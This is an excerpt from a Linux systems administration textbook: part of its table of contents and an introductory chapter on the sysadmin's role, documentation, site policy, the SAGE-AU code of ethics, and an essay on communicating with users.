HARD AND SOFT LIMITS.....................................................................................................................393
FIREWALLS.........................................................................................................................................394
OBSERVE AND MAINTAIN...................................................................................................................394
SYSTEM LOGS....................................................................................................................................394
TOOLS................................................................................................................................................395
INFORMATION SOURCES.....................................................................................................................395
CONCLUSIONS....................................................................................................................................397

David Jones and Bruce Jamieson (20/02/25) Page 15

 85321, Systems Administration Table of Contents

REVIEW QUESTIONS..........................................................................................................................397
CHAPTER 18 TERMINALS, MODEMS AND SERIAL LINES...................................................398
INTRODUCTION..................................................................................................................................398
HARDWARE........................................................................................................................................398
CHOOSING THE PORT.........................................................................................................................398
HARDWARE PORTS.............................................................................................................................399
DEVICE FILES.....................................................................................................................................399
DTE AND DCE..................................................................................................................................400
TYPES OF CABLE................................................................................................................................401
NULL AND STRAIGHT.........................................................................................................................401
CABLING SCHEMES............................................................................................................................401
DUMB TERMINALS.............................................................................................................................401
PCS AS DUMB TERMINALS.................................................................................................................401
CONNECTING TO A UNIX BOX..........................................................................................................403
TERMINAL SOFTWARE........................................................................................................................405
LINE CONFIGURATION........................................................................................................................407
CHANGING THE SETTINGS..................................................................................................................407
SPECIAL CHARACTERS.......................................................................................................................409
TERMINAL CHARACTERISTICS............................................................................................................410
TERMINAL DATABASE........................................................................................................................411
TERMCAP.............................................................................................................................................411
SUMMARY..........................................................................................................................................412
MODEMS............................................................................................................................................412
THE PROCESS.....................................................................................................................................412
CONFIGURATION................................................................................................................................414
CONCLUSIONS....................................................................................................................................415
REVIEW QUESTIONS..........................................................................................................................416
CHAPTER 19 PRINTERS.................................................................................................................417
INTRODUCTION..................................................................................................................................417
HARDWARE........................................................................................................................................417
CHOOSE A PORT.................................................................................................................................417
PARALLEL PRINTERS ON LINUX.........................................................................................................418
TEST THE CONNECTION......................................................................................................................418
UNIX PRINT SOFTWARE....................................................................................................................418
PRINT SPOOLER..................................................................................................................................419
SPOOL DIRECTORIES..........................................................................................................................419
PRINT DAEMON..................................................................................................................................419
ADMINISTRATIVE COMMANDS...........................................................................................................419
FILTERS..............................................................................................................................................419
LINUX PRINT SOFTWARE....................................................................................................................420
OVERVIEW.........................................................................................................................................420
THE LPR COMMAND...........................................................................................................................421
CONFIGURING THE PRINT SOFTWARE.................................................................................................421
FILTERS..............................................................................................................................................428
CONCLUSIONS....................................................................................................................................429
REVIEW QUESTIONS..........................................................................................................................430
INDEX...................................................................................................................................................431

David Jones and Bruce Jamieson (20/02/25) Page 16

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Chapter 1
The What, Why and How of Sys Admin
A beginning is the time for taking the most delicate care that the balances are
correct.
-- Frank Herbet (Dune)

Introduction
Systems Administration is one of the most complex, fulfilling and misunderstood
professions within the computing arena. Everybody who uses the computer depends
on the Systems Administrator doing their job correctly and efficiently. However the
only time users tend to give the Systems Administrator a second thought is when the
computer system is not working.
Very few people, including other computing professionals, understand the complexity
and the time-consuming nature of Systems Administration. Even fewer people realise
the satisfaction and challenge that Systems Administration presents to the practitioner.
It is one of the rare computing professions in which the individual can combine every
facet of the computing field into one career.
The aim of this chapter is to provide you with some background to Systems
Administration so that you have some idea of why you are reading this and what you
may learn via this text.

What Systems Administrators do

Systems Administration is an old responsibility gaining new found importance and
acceptance as a profession. It has come into existence because of the increasing
complexity of modern computer systems and networks and because of the economy's
increasing reliance on computers. Any decent size business now requires at least one
person to keep the computers running happily. If the computers don't work the
business suffers.
It can be said that Systems Administrators have two basic reasons for being
 ensuring that the computing system runs correctly and as efficiently as possible,
and
 ensuring that all users can and do use the computing system to carry out their
required work in the easiest and most efficient manner.
These two reasons often conflict with one another. Management will wish to restrict
the amount of money spent on computer systems. The users on the other hand will

David Jones and Bruce Jamieson (20/02/25) Page 17

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

always want more disk space and faster CPUs. The System Administrator must
attempt to balance these two conflicting aims.
The real work required to fulfil these aims depends on the characteristics of the
particular computing system and the company it belongs to. Factors that affect what
a Systems Administrator needs to do come from a number of categories including:
users, hardware and support

Users
Users, your colleagues and workmates that use computers and networks to perform
their tasks contribute directly to the difficulty (or ease) of your task as a Systems
Administrator. Some of the characteristics of people that can contribute to your job
include:
 How many users are there?
Two hundred users are more difficult to help than two users and also require
completely different practices. With two, or even ten/twenty, users it is possible
to become well known to them and really get to know their requirements. With
two hundred, or in some cases two thousand users, this is simply not possible.
 The level of the user's expertise.
This is a combination of the user's actual expertise and their perceived expertise.
A user who thinks they know a lot (but doesn't really) can often be more trouble
than a user who knows nothing and admits it.
Users who know what they know.
Picture it. You are a Systems Administrator at a United States Air
Force base. The people using your machines include people who fly
million dollar weapons of destruction that have the ability to reduce
buildings if not towns to dust. Your users are supremely confident in
their ability.
What do you do when an arrogant, abusive Colonel contacts you
saying he cannot use his computer? What do you say when you solve
the problem by telling him he did not have it plugged in? What do
you do when you have to do this more than once?
It has happened.
 What are the users trying to do?
If the users are scientists doing research on ground breaking network technology
you will be performing completely different tasks than if your users are all doing
word processing and spreadsheets.
 Are they responsible or irresponsible?
Do the users follow the rules or do they make their own? Do the users like to
play with the machines? Being the Systems Administrator in a computing
department at a University, where the users are computing students who want to

David Jones and Bruce Jamieson (20/02/25) Page 18

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

play and see how far they can go is completely different from working in a
government department, where the users hate computing and only use them when
necessary.
 Who do the users know?
A user, who has a 15-year-old, computer nerd son can often be the cause of
problems since the son will tell the parent all sorts of things about computers and
what can be done. Very few people have an appreciation of the constraints placed
on a Systems Administrator and the computers under their control. Looking after
a home PC is completely different to managing a collection of computers at a
place of work.

Hardware/Software
The computers, software, networks, printers and other peripherals that are at a site also
contribute to the type and amount of work a Systems Administrator must perform.
Some considerations include:
 How many, how big and how complex?
Once again greater numbers imply more work. Also it may be more work looking
after a network of Windows NT machines than a collection of Windows 3.1
computers. Some sites will have supercomputers, which require specialised
knowledge.
 Is there a network?
The existence of a network connecting the machines together raises additional
problems and further increases the workload of the Systems Administrator.
 Are the computers heterogenous or homogenous?
Is the hardware and software on every machine the same, or is it different. A
great variety in hardware and software will make it much more difficult to
manage, especially when there are large numbers. The ability to specify a
standard for all computers, in both hardware and software, makes the support job
orders of magnitude easier.

Support
One other area, which makes a difference to the difficulty of a job as a Systems
Administrator, is the level of support in the form of other people, time and resources.
The support you do (or don’t) receive can take many forms including:
 Are you alone?
At some sites there is one administrator who does everything from installing
peripherals, fixing computers, doing backups, helping users find the enter key and
a range of other tasks. At other sites these tasks are split amongst a range of
administrators, operators and technicians.

David Jones and Bruce Jamieson (20/02/25) Page 19

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

 Are you a full time administrator?

In some cases the administrator looks after the machines in addition to performing
their "real job".
 What are the feelings of staff and management towards the Systems
Administrators?
In many companies the management and staff see Systems Administrators or other
computer support people as overhead. This impression of Systems Administrators
as an unnecessary expense influences how the users will act. Similar feelings can
occur if previous Systems Administrators have been unprofessional or unable to
perform their jobs.

What Systems Administrators need to know

The short and sweet answer is that to be a really good Systems Administrator you need
to know everything about the entire computer system including the operating system,
hardware, software, users, management, network and anything else you can think of
that might affect the system in any way.
Failing that lofty aim the System Administrator must have the ability to gain this all-
encompassing knowledge. The discovery process may include research, trial and
error, or begging. The abilities to learn and problem solve may well be the two most
important for a Systems Administrator.
At some time during their career a Systems Administrator will make use of knowledge
from the following (far from exhaustive) list of fields, both computing and non-
computing:
 programming,
Systems Administrators have to be able to program. They might have to write
scripts that automate regular tasks or a Visual Basic program to help users perform
certain tasks.
 hardware maintenance and installation,
This may range from installing new hardware to cleaning old hardware so that it
continues to work.
 documentation and testing,
 Human Computer Interface,
 networks and computer communication,
 user education,
 diplomacy,
 legal issues and contracts,
 detective work,
 management and policy setting, and
 public relations.

David Jones and Bruce Jamieson (20/02/25) Page 20

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Reading

The Systems Administrators Guild (SAGE, http://www.usenix.org/sage/) is a

professional association for Systems Administrators. SAGE has developed a job
description booklet that helps describe what Systems Administrators do and what
they need to know.

A summary of this book is available from the 85321 Web site/CD-ROM under the
Resource Materials section for week 1.

This text and the unit 85321 aim to develop Junior Systems Administrators as
specified in the SAGE job descriptions booklet, without the 1 to 3 years experience.

David Jones and Bruce Jamieson (20/02/25) Page 21

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Why UNIX?
Some parts of Systems Administration are independent of the type of computer being
used, for example handling user complaints and getting on with management.
However by necessity there is a great deal of complex platform dependent knowledge
that a Systems Administrator must have in order to carry out their job. One train of
thought is that it is impossible to gain a full understanding of Systems Administration
without having to grapple with the intricacies of a complex computer system.
This text has been written with the UNIX operating system in mind as the main
computing platform. In particular this text has been written with the Linux operating
system (RedHat version 5.0), a version of UNIX that runs on IBM PC clones, in mind.
It is necessary to have access to the root password of a computer running RedHat
version 5.0 to get the most benefit from this book. It may be possible to do some of
the activities with another version of UNIX.
The reasons for choosing UNIX, and especially Linux, over any of the other available
operating systems include
 UNIX has a long history both in industry and academia.
 Knowing UNIX is more likely to help your job prospects than hinder them.
 UNIX is one of the current industry buzzwords.
 It is hardware independent.
 Linux is free and runs on a cheap, popular type of computer.
Just as there are advantages in using UNIX there are also disadvantages. "My
Operating System is better than yours" is a religious war that I don't want to discuss
here.

UNIX past, present and future

The history of UNIX is an oft-told tale and it is sometimes hard to pick the right
version. The story has been told many ways and the following is one version. Being
aware of the history can provide you with some insight into why certain things have
been done the way they have

Unix History

These readings are on the 85321 Web site (or CD-ROM) under the Resource
Materials section for week 1.

At the current point in time it appears that UNIX has ensconced itself into the
following market niches

David Jones and Bruce Jamieson (20/02/25) Page 22

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

 server operating system, and

Machines running UNIX are acting as file servers and network servers for local
area networks (LANs) of smaller client machines (running MS-DOS, Windows, or
Macs).
 workstation operating system.
Workstations are nominally powerful computers usually used by a single user.
Engineers, scientists and other people who require a lot of computing power
generally use them.
Both these roles are being challenged by the arrival of new operating systems like
Windows NT.

Linux
This book has been specifically written to centre on the Linux operating system.
Linux was chosen because it is a free, complete version of the UNIX operating system
that will run on cheap, entry level machines. The following reading provides you
with some background into the development of Linux.

Linux: What is it and a history

These readings are available on the 85321 Web site (or CD-ROM) under the
Resource Materials section for week 1.

Some more Sys Admin theory

Systems Administration is not a responsibility specific to the UNIX operating system.
Any company that relies on computers must have Systems Administrators. They may
not call them Systems Administrators but studies have shown that it is cheaper to have
a full time professional maintaining a company's computers than it is to expect the
computer users perform the same tasks.
Many of the tasks of Systems Administration are not platform specific. For example a
recent survey of Systems Administrators found that 37% of an administrator's time is
spent helping users. This chapter examines some of the important platform
independent tasks that a Systems Administrator must perform. Any Sys Admin that
ignores these tasks is going to be in trouble very quickly.

For the purposes of this chapter these tasks have been divided up into four categories
 daily operations,
 hardware and software,
 interacting with people, and
 administration and planning.

David Jones and Bruce Jamieson (20/02/25) Page 23

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Daily operations
There are a number of tasks that must be done each day. Some of these tasks are in
response to unexpected events, a new user or a system crash, while others are just
standard tasks that must be performed regularly.

Automate, automate and automate

A priority for a Systems Administrator must be to automate any task that will be
performed regularly. Initially automation may take some additional time, effort and
resources but in the long run it will pay off. The benefits of automation include
 no need to reinvent the wheel,
Everytime you need to perform the task you don't have to remember how to do it.
 it is much simpler,
 it can be delegated,
If the task is simple it can be delegated to someone with less responsibility or it
can be completely automated by using the scheduling capabilities of cron
(introduced in a later chapter).

For example

Obvious examples for automation include

 adding and removing users,
 performing backups, and
 checking disk usage.

System monitoring

This responsibility entails keeping an eye on the state of the computers, software and
network to ensure everything is working efficiently. Characteristics of the computer
and the operating system that you might keep an eye include
 resource usage,
 what people are doing,
 whether or not the machines normal operations are working.

Resource usage

The operating system and the computer have a number of different resources including
disk space, the CPU, RAM, printers and a network. One indication of problems is if
anyone person or process is hogging one of these resources. Resource hogging might
be an indication of an attack.
Steps that might be taken include

David Jones and Bruce Jamieson (20/02/25) Page 24

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

 killing the process that is hogging the resource,

 changing the process' priorities,
 getting more of the required resource.

David Jones and Bruce Jamieson (20/02/25) Page 25

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

What are people doing?

As the Systems Administrator you should be aware of what is normal for your site. If
the managing director only ever connects between 9 to 5 and his account is currently
logged in at 1 in the morning then chances are there is something wrong.
Its important not only to observe when but what the users are doing. If the secretary is
all of a sudden using the C compiler then there's a good chance that it might not be the
secretary.

Normal operations

Inevitably there will be problems with your system. A disk controller might die, a user
might start a run away process that uses all the CPU time, and a mail bounce might
result in the hard-drive filling up or any one of millions of other problems.
Some of these problems will adversely effect your users. Users will respect you more
if they don't have to tell you about problems. Therefore it is important that you
maintain a watch on the more important services offered by your computers.
You should be watching the services that the users use. Statistics about network, CPU
and disk usage are no good when the problem is that the users can't send email
because of a problem in the mail configuration. You need to make sure that the users
can do what they normally do.

Hardware and software

Major tasks that must be performed with both hardware and software include
 evaluation,
Examining different packages and deciding which is the best for your company's
purpose.
 purchase,
Actually obtaining the software, spending the money and signing the contracts.
 installation,
Placing the hardware or software onto your system and making it available to the
appropriate users.
 testing and maintenance,
Making sure the equipment works and keeping it working.
 upgrading,
Modifying the product to a later version.
 phasing out.
Removing the product from use at your company.

David Jones and Bruce Jamieson (20/02/25) Page 26

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

At many companies the Systems Administrator may not have significant say in the
evaluation and purchase of a piece of hardware or software. This causes problems
because hardware or software is purchased without any consideration of how it will
work with existing hardware and software.

Evaluation

It's very hard to convince a software vendor to allow you to return a software package
that you've opened, used but found to be unsuitable. The prospect of you making a
copy means that most software includes a clause that once you open a packet you own
the software and your money won't be refunded.
However most vendors recognise the need to evaluate software and supply evaluation
versions. These evaluation versions either are a stripped down version with some
features turned off, or contain time bomb that makes the package useless after a set
date.

Purchase

Under UNIX there are basically two types of software

 commercial software, or
 shareware, public domain or free software.
Commercial UNIX software will come with the standard agreements and may also
include a user limit. The software might be able to be used by 4 or 5 users
simultaneously. Most commercial software is managed by licensing software that
controls how many copies are being used. As part of the purchase you will receive
license numbers that govern how the software may be used.
It must be remembered that free software is never free. It still requires time to install,
maintain and train users. All this can add up. Some free software can be incredibly
easy to install and maintain.

Installation

Most sites will have a policy that covers how and where software must be installed.
Some platforms also have software that makes the installation procedure much
simpler. It is a very good idea to keep local software separate from the operating
system distribution. Mixing them up leads to problems in future upgrades.
Under Linux and many other modern Unices it is common practice to install all
software added locally under the directory /usr/local. There will be more on
software installation in a later chapter.

Hardware

David Jones and Bruce Jamieson (20/02/25) Page 27

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

At some sites you may have technicians that handle most of the hardware problems.
At some sites the Systems Administrator may have to everything from preparing and
laying cable through to fixing the fax machine. Either way a Systems Administrator
should be capable of performing simple hardware related tasks like installing hard
drive and various expansion cards. This isn't the subject to examine hardware related
tasks in detail. The following however does provide some simple advice that you
should keep in mind.

Static electricity

Whenever you are handling electrical components you must be aware of static
electricity. Static can damage electrical parts. Whenever handling such parts you
should be grounded. This is usually achieved by using a static strap. You should be
grounded not only when you are installing the parts but at anytime you are handling
them. Some people eagerly open packages containing these parts without being
grounded.

Powering down and wiggling

Many hardware faults can be fixed by turning the system off (powering down) and
either pushing on the offending card or SIMM (wiggling). Sometimes connectors get
dirty and problems can be fixed by cleaning the contacts with a soft pencil eraser (in
good condition).

Prevention

Regular maintenance and prevention tasks can significantly reduce the workload for a
Systems Administrator. Some of the common prevention tasks may include
 ensuring that equipment has a clean, stable power supply,
Using power conditioners or uninterruptable power supplies (UPS) to prevent
power spikes damaging equipment.
 ensuring equipment is operating at appropriate temperatures,
Make sure that the power vents are clean and unblocked and that air can actually
circulate through the equipment.
 some equipment will need regular lubrication or cleaning,
 making sure that printers are clean and have sufficient toner, ink etc.

Administration and planning

This is a task that often receives less attention than others. However it is an essential
task that can critically effect your performance as a Systems Administrator. One of the
most important aims for a Systems Administrator is to be pro-active rather than

David Jones and Bruce Jamieson (20/02/25) Page 28

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

reactive. It's very hard for your users to respect you if you are forever badly organised
and show no planning ability.
Important components of administration and planning include
 documentation,
Both for yourself, the users and management.
 time management,
This is an essential ability for a Systems Administrator who must balance a small
amount of time between a large number of simultaneous tasks.
 policy,
There must be policy on just about everything at a site. Having policies that have
been accepted by management and hopefully the users is essential.
 self-education,
Computing is always changing. A Systems Administrator must keep up with the
pack.
 planning,
What are the aims for your site and yourself for the next 12 months? What major
events will happen for which you must prepare?
 automation, and
Anything that can be should be automated. It makes your job easier and gives you
more time to do other things.
 financial planning and management.

Documentation

Documentation is the task that most computing people hate the most and yet is one of
the most important tasks for a Systems Administrator. In this context documentation is
more than just documentation for users showing them how to use the system. It
includes
 keeping a log book that records all changes made to the system,
 keeping records and maps of equipment, their location, purchase details etc,
Where all the cables are in your building. Which cables connect where. Where are
all the machines physically located.
 labelling hardware,
When you are performing maintenance on computers you will need to know
information like the type of hard drive controller, number and size of disks, how
they are partitioned, hostnames, IP addresses, names of peripherals, any special
key strokes or commands for the machine (e.g. how to reset the computer) and a
variety of other information. Having this information actually on the machine can
make maintenance much easier.
 producing reports,
Producing reports of what you are doing and the functioning of the machines is
extremely important and will be discussed in more detail later.

David Jones and Bruce Jamieson (20/02/25) Page 29

 85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

 taking minutes at meetings, and

Chances are you will have to attend meetings. Organising, running and recording
the minutes of a meeting are all essential skills.
 producing documentation on how to use the systems at your site.
The standard type of documentation required by both users and other Systems
Administrators.

Why keep records?

It is not unusual for a Systems Administrator to spend two to three days trying to fix
some problem that requires minor changes to obscure files hidden away in the dim,
dark recesses of the file hierarchy. It is not unusual for a problem of this sort to crop
up unexpectedly every six to twelve months.
What happens if the Systems Administrator didn't record the solution? Unless he or
she is blessed with a photographic memory there is liable to be another two to three
days lost trying to fix the problem.
Records of everything done to the system must be kept and they must be
accessible at all times.

What type of records?

It is typical for a Systems Administrator and/or a computer site to maintain some type
of logbook. There is no set format to follow in keeping a logbook.
There are two basic types of logbooks that are used.
 electronic, or
Log information is stored using some type of program or by simply creating a file.
 paper based.
Some form of book or folder in which entries are written by hand.
Table 1.1. compares these two forms of logbook.
Electronic Paper
For Against For Against
easy to update and if the machine is less prone to harder to update
search down there is no machine down time and search
access to the log
easy to include can be hard to can be carried can become messy
command output include diagrams around and hard to read
Ta b l e 1 . 1 .
Electronic versus paper log books

What to record?

David Jones and Bruce Jamieson (20/02/25) Page 30

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Anything that might be necessary to reconstruct the current state of the computing
system should be stored. Examples of necessary information might include
 copies of policy regarding usernames, directory structure etc,
Your site might have a set way of assigning usernames or particular locations in
which certain types of files need to be placed.
 diagrams of the physical connections and layout of the machines and network,
Any information required to reconstruct your system, for example CMOS settings
on an IBM PC.
 a copy of a full listing of the device directory,
The /dev directory is likely to contain information specific to your machine. If this
directory is trashed having a copy in your logbook will enable you to reconstruct
it.
 copies of major configuration files,
 daily modifications to configuration or other files,
 lists of useful commands, and
 solutions to common problems.

Example Log Book Layout

The type of information recorded will depend on your responsibilities and the
capabilities of your site. There might be someone else who looks after the physical
layout of the network leaving you to worry about your machine.
It is possible that a logbook might be divided into separate sections. The sections
might include
 configuration information,
Listings of the device directory, maps of network and cabling information, and any
other static information about the system
 policy and procedure,
A section describing the policy and procedures of the particular machine
(usernames, directory locations etc).
 useful commands, and
A list of commands or hints that you've come across that are useful and you would
like to remember.
 daily modifications.
The daily modifications made to the system in the normal course of events. The
main reason to store this information is so that you have a record of what is being
done to your system.
Each entry in a logbook should contain information about time, date, reason for the
change, and who made the change.
If you intend using a paper based logbook then one suggestion is to use a ring binder.
Using a ring binder you can add pages to various sections if they start to fill up.

David Jones and Bruce Jamieson (20/02/25) Page 31

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Policy
Think of the computer systems you manage as an environment in which humans live
and work. Like any environment, if anarchy is not to reign supreme then there must
exist some type of behavioural code that everyone lives by. In a computer system this
code is liable to include such things as
 a single person shall not hog all the resources (disk, cpu etc),
 users who work for accounting have xyz access, those who work for research have
zyx access, and
 no-one should endeavour to access areas in which they are not allowed.

Penalties

A set of rules by themselves is not enough. There must also exist

 a set of penalties to be applied if one of the policies is broken,
 a person(s) charged with detecting the breaking of policy,
 a person(s) charged with deciding the appropriate policy,
 a mechanism for the change of policy and penalties, and
 a mechanism for informing users of the policy and the penalties.
If any one of these necessary components is missing the system may not work to the
best of its ability.
It is essential that every computer site have widely recognised and accepted policies.
The existence of policies ensure consistent treatment of all cases. Policies provide
guidelines of what to do in particular cases and what to do if the policies are broken.

Types of Policy

The types of policies you might want to have include

 the level of service you provide,
What operating systems, software etc that you can and will support. What services
you provide your users. When will the Systems Administrators or help desk
available.
 the rights and responsibilities of the users, and
What they can and can't do. What happens if they break those rules.
 the rights and responsibilities of the administrators.
An often over looked policy. Should Systems Administrators look at other people's
mail?

Creating policy

Creating policy should include many of the following steps

 examination of what other similar sites have in the way of policy,

David Jones and Bruce Jamieson (20/02/25) Page 32

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

 widespread involvement of users, management and Systems Administrators in the

development of policy,
 acceptance of policy by management, and
 checking of the policy by lawyers.

Code of ethics
As the Systems Administrator on a UNIX system you have total control and freedom.
All Systems Administrators should follow some form of ethical conduct. The
following is a copy of the SAGE-AU Code of Ethical Conduct. The original version is
available on the Web at http://www.sage-au.org.au/ethics.html.

SAGE-AU code of ethics

In a very short period of time computers have become fundamental to the organisation
of societies world-wide; they are now entrenched at every level of human
communication from government to the most personal. Computer systems today are
not simply constructions of hardware -- rather, they are generated out of an intricate
interrelationship between administrators, users, employers, other network sites, and
the providers of software, hardware, and national and international communication
networks.
The demands upon the people who administer these complex systems are wide-
ranging. As members of that community of computer managers, and of the System
Administrators' Guild of Australia (SAGE-AU), we have compiled a set of principles
to clarify some of the ethical obligations and responsibilities undertaken by
practitioners of this newly emergent profession.
We intend that this code will emphasise, both to others and to ourselves, that we are
professionals who are resolved to uphold our ethical ideals and obligations. We are
committed to maintaining the confidentiality and integrity of the computer systems we
manage, for the benefit of all of those involved with them.
No single set of rules could apply to the enormous variety of situations and
responsibilities that exist: while system administrators must always be guided by their
own professional judgment, we hope that consideration of this code will help when
difficulties arise.
(In this document, the term "users" refers to all people with authorised access to a
computer system, including those such as employers, clients, and system staff.)

SAGE-AU code of ethics

As a member of SAGE-AU I will be guided by the following principles:

David Jones and Bruce Jamieson (20/02/25) Page 33

 85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

Fair Treatment
I will treat everyone fairly. I will not discriminate against anyone on grounds such as age, disability,
gender, sexual orientation, religion, race, or national origin.

Privacy
I will access private information on computer systems only when it is necessary in the course of my
duties. I will maintain the confidentiality of any information to which I may have access. I
acknowledge statutory laws governing data privacy such as the Commonwealth Information Privacy
Principles.

Communication
I will keep users informed about computing matters that may affect them -- such as conditions of
acceptable use, sharing of common resources, maintenance of security, occurrence of system
monitoring, and any relevant legal obligations.

System Integrity
I will strive to ensure the integrity of the systems for which I have responsibility, using all appropriate
means -- such as regularly maintaining software and hardware; analysing levels of system performance
and activity; and, as far as possible, preventing unauthorised use or access.

Cooperation
I will cooperate with and support my fellow computing professionals. I acknowledge the community
responsibility that is fundamental to the integrity of local, national, and international network
resources.

Honesty
I will be honest about my competence and will seek help when necessary. When my professional
advice is sought, I will be impartial. I will avoid conflicts of interest; if they do arise I will declare
them.

Education
I will continue to update and enhance my technical knowledge and management skills by training,
study, and the sharing of information and experiences with my fellow professionals.

Social Responsibility
I will continue to enlarge my understanding of the social and legal issues that arise in computing
environments, and I will communicate that understanding to others when appropriate. I will strive to
ensure that policies and laws about computer systems are consistent with my ethical principles.

Workplace Quality
I will strive to achieve and maintain a safe, healthy, productive workplace for all users.

People skills
The ability to interact with people is an essential skill for Systems Administrators. The
type of people the Systems Administrator must deal with includes users, management,
other Systems Administrators and a variety of other people.

David Jones and Bruce Jamieson (20/02/25) Page 34

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

The following reading was first published in "The Australian Systems Administrator"
(Vol 1, Issue 2, June/July 1994) the bimonthly newsletter of the Systems
Administrators Guild of Australia (SAGE-AU). It provides an example of how a real-
life System Administrator handles user liaison.

Communicating with Users

Copyright Janet Jackson

Next to balancing conflicting demands, communicating with users is the hardest part
of my job. I tend to make a great effort for little gain, whereas in technical endeavours
a little effort can produce a major, long-lasting improvement (for example, taking ten
minutes to set up regular, automated scratch area cleanups has saved me hours of
tedious work and the users a lot of frustration).
Also, with users there are emotions to take into account. It doesn't matter whether the
computer respects you, but if the users respect you life is a lot easier.
My aim in communicating with users is to make life (my job and those of the users)
easier by:
getting them to respect me (my judgment; my abilities; my integrity and
professionalism).
teaching them all sorts of things, such as how to remove jobs from the printer queue;
what they have to do to keep the systems secure; and when not to interrupt me with
questions.
In this column I'm going to describe some of the communication vehicles I've tried,
and how effective they've been for me. I'll start with those I've found least effective
overall, and work my way up.
Probably the method most useless with the general user community is the policy
statement. The typical user just isn't going to read it. However, it can be a good way
of communicating with management. Drafting a good policy statement (based on
discussions with everyone, but especially with them) shows you mean business and
understand how your work fits into the organisation. It should cover the
responsibilities of the systems administrator as well as those of the users.
Group meetings, whether of the users in general or of a committee of representatives,
can help people -- again, especially senior people -- feel more confident that things are
going OK, but aren't much use for disseminating information. If a meeting is run well
you can have a productive discussion of major issues, but if run badly it is likely to
turn into a gripe session.
Paper memos are to be avoided, because they encourage stiffness and formality. I use
them only to answer other people's paper memos (which are usually complaints) and
then only when I don't think the person will read it if I do it by email. Replying by
email to a memo has the effect of saying "There's no need to be so formal".

David Jones and Bruce Jamieson (20/02/25) Page 35

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

There are a number of leading-the-horse-to-water methods, which only work if the

user makes an effort. You can use electronic information services, such as bulletin
boards, newsgroups, Gopher, or online manuals; and you can get together a library of
printed manuals and books. If you provide easy access to high-quality information,
the interested user can learn a lot. Unfortunately it's often the disinterested user that
you really want to reach.
People often come to my office to ask me things. You'd think that face-to-face
communication would work the best, but in this particular setting it doesn't because I
am not comfortable. It's not so much that I resent interruptions -- it's that I don't have
an office, only a desk. There's no room for a visitor's chair; to talk to anyone I have to
swivel round and face backwards; and people make a habit of sneaking up on me.
Hopefully, one day my campaign for proper accommodation will be successful, and it
will be interesting to see how much difference it makes.
Talking on the phone is only good for emergencies. Someone is always interrupted;
there's no body language; and you tend to forget half of what you wanted to say.
I write a column, "Computer Corner", in our staff newsletter. I sometimes write about
issues (such as what I'm trying to achieve) and sometimes about technical tips. This
column isn't as useful as I'd hoped. The first problem is that there isn't room to say
much, because the newsletter is short and a bit, shall we say, irregular. The second
problem is that the rest of the newsletter tends to be kind of dull (lists of visitors; dry
field-trip reports; the occasional births and deaths) so people aren't so eager to read it.
When I pointed this out I was told that it is deliberately impersonal and non-funloving
because some of the more senior readers are rather easily offended. Sigh.
Next on the scale are signs (on doors, noticeboards, etc) and electronic messages-of-
the-day. People have a strong tendency to miss the former and ignore the latter. It may
help to make them more interesting with graphics, pictures and human-interest items.
Seminars and workshops are worthwhile if you can get people to attend, but they're a
lot of work. If not many turn up, you don't get much return on your investment.
Students can sometimes be induced to attend by making it count towards their marks.
In other situations, offering food, door prizes, alcohol, sex, drugs or rock-n-roll may
help.
For explaining specific information (how to pick a good password; how UNIX file
permissions work) I've found paper handouts reasonably effective. Some users take
them quite seriously, even filing them for later reference. Unfortunately, others toss
them straight in the bin.
After about 3 months in my current job I emailed everyone a questionnaire, asking
such things as what they used the systems for, what new services they would like to
see, and how often they did backups. I offered a chocolate frog to each person who
replied. The subject line "Apply here for your FREE chocolate frog" caused some of
the more pokerfaced members of staff to delete the mail without reading it, but
otherwise the response was surprisingly good. In hindsight, I guess the questionnaire

David Jones and Bruce Jamieson (20/02/25) Page 36

85321, Systems Administration Chapter 1: The What, Why and How of Sys Admin

generated more PR than information, although it did confirm my suspicion that most
people did not back up their data even though they were supposed to.
For me, the second most effective communication vehicle is email. Email is as
informal as a personal visit or phone call, but you can get in a lot more information. It
is also asynchronous: no-one has to be interrupted, and you don't have to wait for
people to be available.
I often use email broadcasts for notification -- to tell people about impending
downtime, for example. Email is quick, convenient, and reaches people who are
working offsite. It is also informal and I think people feel more at ease with it than
they do with paper memos and printed signs.
1-to-1 email gives people a sense of personal service without much of the hassle that
normally entails. At my site people can email problem reports and questions to a
special address, "computerhelp". Our stated aim is to respond within 2 working days.
We don't always make it. But it does give people a point of contact at all times, even
after hours, and it means we get a few less interruptions.
You'd think all of that might be enough, but no. My boss said, "You need to
communicate more with the users, to tell them about what you're doing". I agreed with
him. So I now produce a fortnightly emailed bulletin. It is longer and more formal
than a typical email message, with headings and a table of contents. Most of the
information in it is positive -- new software that we've installed, and updates on our
program of systems improvements. I also include a brief greeting and a couple of
witty quotations. Judging by the feedback I've received, this seems to be working
remarkably well -- much better than the staff newsletter column.
The only thing that works better than email is personal visits where I am in their
office, usually leaning over their screen showing them how to do something. Taking
an interest in their work helps a lot. I find this easy where they are graphing the
temperature of a lake in glorious colour, but more difficult where they are typing up
letters. I don't do enough personal visiting, partly because I'm so busy and partly
because I'm not keen on interrupting people. It usually happens only when they've
asked a question that requires a "show me" approach.
A disadvantage of personal visits is that they help only one person at once, whereas
with email you can reach all your users.
To sum up: in communicating with users, I aim to teach them things and get them to
respect me. By sending email I can help the most people for the least effort, although
personal visits have much more impact. There are other useful methods, such as policy
statements, newsletters, handouts and seminars, but they may not reach the ones who
need it most.
